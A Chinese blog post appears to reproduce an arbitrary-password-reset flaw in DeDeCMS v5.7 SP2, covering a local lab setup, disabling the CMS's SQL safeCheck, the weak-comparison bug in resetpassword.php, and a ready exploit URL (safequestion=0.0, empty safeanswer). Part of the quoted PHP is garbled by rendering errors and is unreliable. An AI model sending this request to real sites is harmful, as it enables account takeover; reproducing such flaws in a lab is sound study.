DeDeCMS v5.7 SP2 正式版前台任意用户密码修改(漏洞复现）

1.环境搭建

PHP 5.6
DeDeCMSV5.7SP2 正式版
安装phpstudy，https://www.xp.cn/小皮面板
在这里插入图片描述
先启动Apache2.4.39和MySQL5.7.26
如果他会让你下载，点击是就好！

让后点击网站—>点击创建网站

域名自己创建，自己取
其他的不变
点击”创建数据库“

在这里插入图片描述
这些设置好就行
然后重启一下Apache2.4.39

这里我创建好了我的
然后打开管理

点击’打开根目录‘并把下载好的DeDeCMS v5.7 SP2
解压

在这里插入图片描述
解压后把里面的文件放入根目录中，这里注意：解压好后的文件里面upload里面的所有文件要拖出来放在根目录里面，最后保存就好

然后我们访问：你在本机上创建的网站的域名/install
然后按着以下教程安装就好！！！
https://blog.csdn.net/qq_38882327/article/details/89356033

当安装好后，后台账号和密码都是amdin
但是注意我们需要去后台把会员注册打开，别忘了调成“是”
在这里插入图片描述

然后放回页面，退出我们的账号，来到下面这个页面
打开源码目录下D:\phpstudy_pro\WWW\dedecms\include，找到dedesql.class.php和dedesqli.class.php两个php文件，用notepad++打开，然后ctrl+F寻找safeCheck，把TURE改为FALSE，关闭安全检查

在这里插入图片描述

2.漏洞复现

由于前台resetpassword.php中对接受的safeanswer参数类型比较不够严格，遭受弱类型比较攻击

导致了远程攻击者可以在前台会员中心绕过验证，进行任意用户密码重置攻击

漏洞触发位置：dedecms/member/resetpassword.php(75行) else if($dopost ==
“safequestion”)

{

$mid = preg_replace(“#[^0-9]#”, “”, $id);

KaTeX parse error: Expected ‘EOF’, got ‘#’ at position 57: …rid,email
FROM #̲@__member WHERE…mid’";

$row = d b − > G e t O n e ( db->GetOne( db−>GetOne(sql);

if(empty($safequestion)) $safequestion = ‘’;

if(empty($safeanswer)) $safeanswer = ‘’;

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)

{

sn($mid, $row[‘userid’], $row[‘email’], ‘N’);

exit();

}

else

{

ShowMsg(“对不起，您的安全问题或答案回答错误”,“-1”);

exit();

}

}

就是这里的判断出现了问题，因为使用了不够严谨的 == 进行了比较，导致if语句的条件为真，就会进入分支，进入sn函数

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)

{

sn($mid, $row[‘userid’], $row[‘email’], ‘N’);

exit();

}

原文链接：https://blog.csdn.net/weixin_52497013/article/details/121468861
后台看到我们uid
在这里插入图片描述这里我们看到mid=2
fouronefour.com/member/resetpassword.php？dopost=safequestion&safequestion=0.0&safeanswer=&id=2
用bp抓个包，放个包